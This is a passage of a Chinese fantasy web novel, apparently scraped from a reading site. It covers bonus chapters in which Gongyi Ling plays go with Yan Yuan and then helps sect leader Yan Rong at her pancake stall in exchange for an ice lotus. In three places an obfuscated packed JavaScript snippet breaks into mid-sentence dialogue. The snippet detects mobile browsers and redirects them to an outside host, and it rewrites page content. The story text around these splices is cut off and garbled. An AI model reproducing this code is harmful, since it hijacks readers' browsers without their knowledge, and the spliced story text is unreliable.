公仪岭险些以为自己是听错了,沉默片刻后,又认真和那紫衣仙侍确认了一遍:“燕渊?请我进去?” 那紫衣仙僚却是无比肯定:“不错。公仪宗主,请吧。” 庆阳侧殿内的香炉中飘出淡淡的龙涎香气。 真奢侈啊。公仪岭在踏入庆阳殿的时候,心中暗叹。 这香料名贵难得,他便是在抱元门也不曾见他们用过此香。这熟悉的味道不由让公仪岭回忆起之前来这庆阳殿的时候,似乎也是这样。大概是燕渊父子俩都喜欢用最好的东西,哪怕燕渊不做宗主了,燕蓉倒也没减少过他平日里的吃穿用度。 等仙侍退下,公仪岭抬眼一瞧,这才发现庆阳殿旁边的座位全都被撤下了,空旷的大殿内只剩下一张矮桌和盘腿坐在桌案边的燕渊。 矮桌上放了一张棋盘。 燕渊抬眼道:“来了?坐吧。” 公仪岭也不跟他客气,直接坐到了燕渊的对面,开门见山道:“你见我有何事?” 燕渊也毫不客气道:“这话应该我问你吧?难道不是你先来我们这里的?” 公仪岭道:“那我也不是来找你的,我是来找燕蓉商量事情的。” “师姐现在不在宗内,你有什么事情,跟我说也是一样的。” “当真?”公仪岭有些怀疑,“你能拍板?” 这百年冰莲也不是什么凡品,在其他宗门要动这样的东西,多少还是得上报宗主的。但偏偏燕渊他从前也当过宗主,这才叫公仪岭拿不准起来。 燕渊是做足了心理准备才把公仪岭叫进来的,无论如何也不想在气势上输了,听到公仪岭怀疑自己,顿时觉得自己被看轻了,一张脸涨得通红:“公仪岭你瞧不起谁呢?好歹我也当了半年宗主,什么事情轮不到我拿主意?” 公仪岭放下心来:“那我可就直说了。我现在身上还有一千多块灵石,你看你能不能把你们宗门冰窟里的百年冰莲卖给我?” 193.【番外】清风邀明月 何处宴群山(三) “冰莲?” 燕渊顿时没了声。 这冰莲……他还真是做不了主。 紫阳宗位置不算北边,一年下来倒也能称得上一句四季如春。可那冰莲却是生在极寒之地,这样的气候,算不得适宜冰莲生长的气候,他们养护起来,也是花了一番气力的。 这样的灵物,莫说公仪岭异想天开地想用一千灵石卖下一株,便是他想用一万灵石来买,那也得得了燕蓉的首肯才能行。 见燕渊这么久不吱声,公仪岭心里也是有数,只得给燕渊一个台阶下,道:“要是你觉得一千灵石太少了有点为难的话,那我还是等燕蓉来了再说吧。” 燕渊原本还觉得面上无光,听了公仪岭的后半句话,尴尬的情绪一扫而空,倒是呵呵笑了起来。 公仪岭不解:“你笑什么?可是我说的哪里有问题?” 燕渊不紧不慢地从矮桌下取出两个珐琅棋篓:“按师姐的性子,一时半会儿可回不来紫阳宗。不过,你要是这盘棋赢了我,作为交换,我就把师姐的去向告诉你,你看如何?” 公仪岭怀疑道:“你是认真的?” 他记得他跟燕渊从未下过棋,但以前跟齐元白下棋的时候,倒也没听齐元白提起下棋厉害的人里面有燕渊的名字。 公仪岭觉得自己的棋力,虽然比不得齐元白步步为营,但至少也不算差了。 难不成燕渊是开了窍,突然在这方面有了些许造诣,这才信心满满过来想给自己一个下马威? 不过,不管燕渊是不是存了这个心思,为了拿到冰莲,公仪岭也必须跟他下这一局。 公仪岭不敢轻敌:“猜先?” 燕渊诧异地看他一眼,直接拿起旁边的白子棋篓:“你比我厉害这么多,让我执白先行吧。” 公仪岭一愣,旋即笑道:“行。” 说完,就见燕渊眉目间露出喜色,立刻从棋篓中取出五枚白子,往棋盘上贴了五目。 公仪岭:“……” 他就说呢,难怪燕渊怎么突发奇想要跟他下棋,原来是在打这个主意。 想必这倒贴五目,也是燕渊自己算好的,觉得这样自己才能有五成胜算。 燕渊摆完白子,言语中也多了几分挑衅:“倒贴五目,你敢不敢下?” 公仪岭也没跟他计较这个,稍稍愣神后便神色如常道:“好,就按你说的来。” 这话说完后,两人便一先一后再棋盘上落了子,再没多说一句废话。 走了四五十步后,公仪岭也算是看出来了,这燕渊的棋力莫说和齐元白比较,怕是连自家的公仪越都不如。 哪怕在开局放水的情况下,燕渊竟然也渐渐开始处于劣势,行棋的速度更是越来越慢。 下了这么久,公仪岭也看出了一些端倪。燕渊的棋与他们的棋也略有不同,偶有几步还能隐隐看出几分剑走偏锋的意思,不像是燕渊自己能下出来的棋,倒像是…… “你的棋是谁教的?”公仪岭问。 燕渊头也没抬,低声道:“以前大师兄教的。” 果然。 公仪岭没提那些陈年旧事,只是平静地说:“我曾与你大师兄下过一局,他棋力虽高,可棋风却与你的心性不符,所以,你有时候下出来的才会不尽人意,也属正常。” 燕渊脸上表情看不出什么波澜,仿佛这样的事情在他的意料之中:“我爹和阿姐都不精于棋艺,燕蓉师姐年幼时与我交集不多,也只有大师兄会指点我一二。” 公仪岭道:“我以为,事情真相大白后,你会恨他。” 燕渊听懂了他的意思,摇了摇头:“他骗了我们那么久,害死了那么多人,起初我知道的时候,是恨了他很久,我甚至特意去了一趟仙牢,想要狠狠揍他一顿出气。可大师兄见到我的第一句话却是问我,在他离开紫阳宗前给我留的死活题有没有解开。” 他的眼神在这一刻看起来甚至有些迷惘,顿了顿,又继续道:“在那一瞬间,好像回到了以前一样,恍惚间觉得他不是旁人,依旧是我所敬重的大师兄,我甚至不知道我究竟恨不恨他。” 燕渊的感受,公仪岭多少也能理解一些。 但作为一个外人,他还是没对这师兄弟两人的关系随便评论,只能问道:“你刚刚说,燕煦泽给你留了什么死活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公仪岭疑惑地望着他,只看见燕渊随手把指尖的两枚白子搁在了棋盘上,淡声说道:“胜负已定,你走吧。” 194.【番外】清风邀明月 何处宴群山(四)[番外] 公仪岭依旧坐着没起身,而是扫了一眼棋盘:“这……怎么就胜负已定了?” 眼下才刚过中盘,燕渊虽然显露颓势,却也不至于到兵败如山倒的地步,还是能找出几分胜机的。 燕渊顿了顿,面露古怪之色:“从前师姐说公仪岭你不擅长演戏,我还不太相信,现在我倒是信了几分。” 公仪岭一时没反应过来:“什么?” “公仪岭,我虽技不如人,却也能看出你手下留情。明明比我下得厉害那么多,却偏偏给我处处留了一线生机,就这样还能下成占优的那边……其他的,还需要我说得更明白吗?” 公仪岭也不吱声了,默默看着燕渊收起桌面上的棋子。 燕渊继续道:“输了就是输了,我愿赌服输就是了。” 公仪岭道:“……你还没告诉我,你师姐去哪了?” “……” 很少见地,燕渊可疑地沉默了一下。 公仪岭察觉到了一丝不同寻常:“怎么了?燕蓉到底去哪里了?” 燕渊竟然有些支支吾吾:“你应该知道紫阳宗下面有一座庆阳城吧?燕蓉师姐就在里面。” 庆阳城,这不就是刚刚公仪岭买‘秋风清’的那座城池吗? 公仪岭疑惑道:“燕蓉在庆阳城内?可我刚刚就在庆阳城,没感觉到城中有灵气或是妖气啊。” 燕渊欲言又止,末了道:“……师姐她刻意隐藏了自己的气息,你没感觉到她也正常。具体如何我也不好说,总之你去城南的街道上转转,大概就能遇上她了。” 公仪岭虽不解其意,但还是对燕渊道了一声谢:“多谢你了。” 燕渊生硬道:“不必言谢。” 公仪岭起身,停顿片刻后一拂袖,面前的矮桌上立刻出现了一壶‘秋风清’。 他道:“这是刚刚我在庆阳城买的酒,今日我来得突然,这壶酒,就算是我带来的见面礼吧。” 那壶秋风清被公仪岭换过瓶子,燕渊目光落在那青色酒壶的祥云纹样上,再抬眸时,只能看见公仪岭的背影。 燕渊突然道:“门口有仙侍,会送你出去。” 公仪岭站在殿门前,笑着摆了摆手。 * 庆阳城,城南大街。 从公仪岭得知燕蓉刻意隐藏了行踪后,便一直认为这庆阳城平静的外表下,一定暗流涌动。 也许是因为那城中妖物难以对付,才会让燕蓉潜伏在暗处,伺机而动。 这是公仪岭回到庆阳城时候的想法。 直到公仪岭也有样学样地隐匿了自己的仙气行走在城南大街上,在那人来人往的热闹集市中捕捉到了那抹熟悉的身影,他才明白为什么燕渊会欲言又止。 城南最热闹的一处地方,只见燕蓉站在一个小摊子前,熟练地拿着两个小铁铲翻着煎饼,那摊子上还挂了一块显眼的牌子,上面题字—— 杂粮煎饼/鸡蛋灌饼/手抓饼/驱邪/水运/镇灾/抓鬼/超度/治病/地方法事 公仪岭:? 他甚至还擦了擦眼睛,以为是自己认错人了,可哪有什么认错一说?那十步开外正在摊煎饼的那人,分明就是燕蓉,不可能是旁人。 公仪岭犹豫了片刻,正想上前去问问燕蓉是怎么回事,就见对面忽然出现一位穿着紫阳宗服饰的弟子,抢先他一步来到了燕蓉面前。 那弟子抱着一垒卷轴,急声道:“宗主,这些都是早上燕渊师兄积攒下来、没法批复的公文,需得让您过目才行。” 燕蓉没抬头,手上动作不停:“后边排队去。” 顿时后面不满的声音此起彼伏:“怎么还带插队的?” “先来后到懂不懂?没素质!” 那紫阳宗的弟子挨了骂,蔫蔫地到后面排队去了。 公仪岭这才注意到,原来燕蓉的小摊前面早已排起了长长一条队伍,每个人都翘首以盼地等着,看样子,生意做得不错。 公仪岭有些拿捏不准燕蓉在这边待着是什么意思,于是也上前两步:“燕蓉,我也有事……” “找你”两个字还没说出口,立刻便被人截断了话头。 这次燕蓉听到他的声音,还是略微瞥了他一眼,随即淡声道:“你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14693851|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排队去,公仪岭。” “……” 公仪岭不得不悻悻地跟着前面那紫阳宗的弟子一块排到了队伍的最末尾。 更为尴尬的是,他才刚排上队,前面那紫阳宗的弟子便回头看见了他,当即认出了人,讶异道:“这不是……公仪宗主么?” 公仪岭连忙比了个嘘声的手势:“是是是,出门在外不能这么喊,得低调!” 紫阳宗弟子了然,也是连忙压低了声音笑道:“今日也是赶巧,能到这遇上您,公仪宗主可是过来我们这边送中秋宴的拜帖,顺道来照顾下我们家宗主的生意的吗?” 送拜帖倒跟他没关系,公仪岭只负责在承悦整理出来的拜帖上盖章签字就完事,送拜帖的自然也另有其人。 故而,公仪岭忽略了这弟子的前半句话,笑着答道:“事关中秋宴,我有一桩要事要跟你们家宗主商量,这才过来了。” “原来如此。不过,今日也是我第一次下来给宗主送卷轴,平日里都是燕渊师兄亲自来的,怎得不知今日有事,就唤了我来。” 公仪岭心道:燕渊还的确是有事,只不过,怕是有心事罢了。 不过,这话他是不会说出口的,话到嘴边变了个样,问道:“你们家宗主特意来庆阳城摆摊,是想干吗?” 在他看来,驱邪、镇灾、抓鬼、除妖,不管是哪个,恐怕都不该是特意过来摊煎饼的吧? 哪成想那弟子却是点头,还遥遥指了指远处那显眼的木牌:“公仪宗主没看见么?宗主下山历练,便在城中开了这小摊,主业副业一个没落下,岂不是一举两得?” “……她在这呆了多久了?” 弟子道:“约莫也有两个月了。” 竟然是这样。 难怪公仪岭这两个月觉得燕蓉回信都慢了,怕不是每日都等忙完了才有时间处理信件。 那弟子颇为自豪:“公仪宗主你看,我们家宗主这新的生意做得不错吧?” “的确不错。”要不说公仪岭以前一直想把燕蓉给挖来云灵山干活呢……她有这样的能力,想来不管做什么都能成功的。 195.【番外】清风邀明月 何处宴群山(五)[番外] 等了差不多有两刻钟的时间,公仪岭前面的那位弟子才跟燕蓉说上话。 弟子小心翼翼地递上卷轴:“宗主您过目。” 就见燕蓉顺手拿过旁边的布擦手后,接过了那一垒卷轴,随手翻了两页后问道:“最近燕渊没出什么岔子吧?” “燕渊师兄没事,最近也开始经常看些文书了。”弟子回道。 燕蓉满意地点点头,将那些文书安置在桌板上后,对弟子摆了摆手:“行了,到时候我批复完会叫人带回去的,你先走吧。” 那弟子恭恭敬敬回了声是,燕蓉目送他离去后,视线才重新落在面前的公仪岭身上。 “公仪岭,你刚刚说来找我有什么事情?” 公仪岭迅速道:“倒也没什么,就是想问问,我能不能用一千灵石换一株你们家的冰莲?” 燕蓉顿了顿,险些以为是自己听错了:“一千灵石,换冰莲?” 公仪岭厚着脸皮点头:“我知道你们家那些冰莲珍稀,但我之前无意间损毁了承悦一株冰莲,这才想着赔一株给他,你若是觉得一千灵石少了些的话,我就先给你打个欠条,等之后再卖点东西还你。” “这样啊……” 燕蓉沉思了片刻,忽然露出一个高深莫测的笑容:“区区一株冰莲而已,可以。” “真的?!那我……” 不等公仪岭高兴一秒,燕蓉便话锋一转:“不过,我有一个条件。” 公仪岭立刻表态:“什么条件?莫说一个条件,十个条件也好说!” 燕蓉笑道:“好说。你也看见了,我现在在庆阳城内有不少主顾,不过平日里这摊子只有我一个人守着,多少也忙不过来。这下你来了正好,能帮我打个下手,去处理那些还没处理完的事务。” 燕蓉说得那些事务,对公仪岭来说干起来也是容易。公仪岭接过燕蓉递过来的册子后,随意翻看了几眼,便一口答应了下来。 随后半个月,各家宗门皆听说了一个消息,那就是紫阳宗和云灵山的两位宗主在民间摆起了摊,每隔上三五日,还会换个地方继续招揽生意。一开始众人还都不信,直到派下去探听的弟子回来,手里拿着鸡蛋饼信誓旦旦地说这事千真万确,众人这才信了几分。 至于其中缘由,大家倒也猜过一二,原本光看公仪岭下山摆摊,还以为是云灵山没钱了,哪还想得到有个燕蓉也在忙活,这样一来,谁还敢大着胆子猜紫阳宗没钱了这种事情,权当是这两位宗主玩心大起了。 当然,公仪岭也不打白工,燕蓉作为一个厚道人,每赚一笔还是会分给公仪岭一些银钱,好让他送回去给承悦贴补中秋夜宴。 这半个月下来,公仪岭跟着燕蓉也学到了不少东西——至少现在他也能一个人算账了。 “不错,有进步。” 燕蓉垂眸扫了两眼手中账簿,唇角露出一个淡笑,把账簿归类到那垒卷轴之中:“这样一来,等你回去,想必也能帮上承悦一些忙了。” 公仪岭揉了揉手腕,好奇道:“所以,你特意下来摆摊,就是为了给燕渊一个锻炼的机会?” 燕蓉却道:“不是。” “怎么?” 燕蓉的面容在这一刻看上去竟然有些疲惫,听完公仪岭的话后,她顺势躺在了一旁的藤椅上:“我从八岁开始打理紫阳宗的各项事宜,时至今日也有十五年了。但若说这十五年来,我有十分辛苦,这三年宗主当得便有二十分辛苦。” “嗯……” 公仪岭一想也是。从前燕蓉不当宗主的时候,他们几个人还有聚在一起吃饭喝酒的时候,这三年几乎可以说是少之又少。更何况,齐元白这几年都新培养了几个得力的弟子当助手,现在他们三人中,也只有燕蓉身边没个可靠的人了。 燕蓉继续道:“你知道我本就志不在此,当不当这个宗主对我也没什么影响。燕渊年岁也见长,全宗门上下总不能全指望着我一个人,他也该担起肩上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703966|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担子了。” 公仪岭揣度着燕蓉的言下之意,试探着道:“那你是打算就此隐退了?” 燕蓉点了点头:“差不多吧,也就这两年的事情。干了这么久,他们也总得让我休息几年。” “难怪你这几日都巳时起了……你从前可从没起这么晚过。” 说来也是戏剧,公仪岭自己前十八年一直都是巳时起的作息,等到这些年变完全改了过来,哪怕在庆阳城这些时日没必要早起,他每日也都准时在卯时醒来,反倒现在,都是轮到他在巳时去叫醒燕蓉了。 用燕蓉自己的话来说,什么时候摆摊全看她自己的作息,谁会隐退了还那么早起床? 何况,自从这半个月把任务都交给公仪岭了以后,她就更为悠闲了,闲来无事还会拉着公仪岭一起研究新品鸡蛋饼的秘制配方。 总而言之,两个人的生意可谓做得红红火火,进账的速度快到公仪岭都在考虑要不要找时间也去云灵城开个饭馆了。 燕蓉眯着眼睛休憩了片刻,忽然开口:“对了,今日是八月十几了?” 公仪岭被她问得一愣,仔细想了想才道:“今日……应该是八月十二了。” “那是不能再耽误了。”燕蓉微微抬手,把掌心的一封信函递给了公仪岭,“这里面是我交代给燕渊的话,你让你们家弟子带着这信笺去紫阳宗,让燕渊去取冰莲就好,也算是答谢你帮我干这么久的活了。” “那这一千灵石……?” 这冰莲给都给出去了,燕蓉自然也不会再在这些身外之物上为难公仪岭,当即大手一挥:“我既给了你,哪还有再问你讨要那一千灵石的道理?这些钱财也不多,买买灯笼倒是正好,你都留着去办中秋夜宴吧。” 公仪岭高高兴兴接下了那信函:“那行!中秋夜宴那日,你可一定得来啊。” 燕蓉笑道:“你头一回承办中秋宴,我肯定来捧场,届时我会带着紫阳宗的弟子们准时到场的。”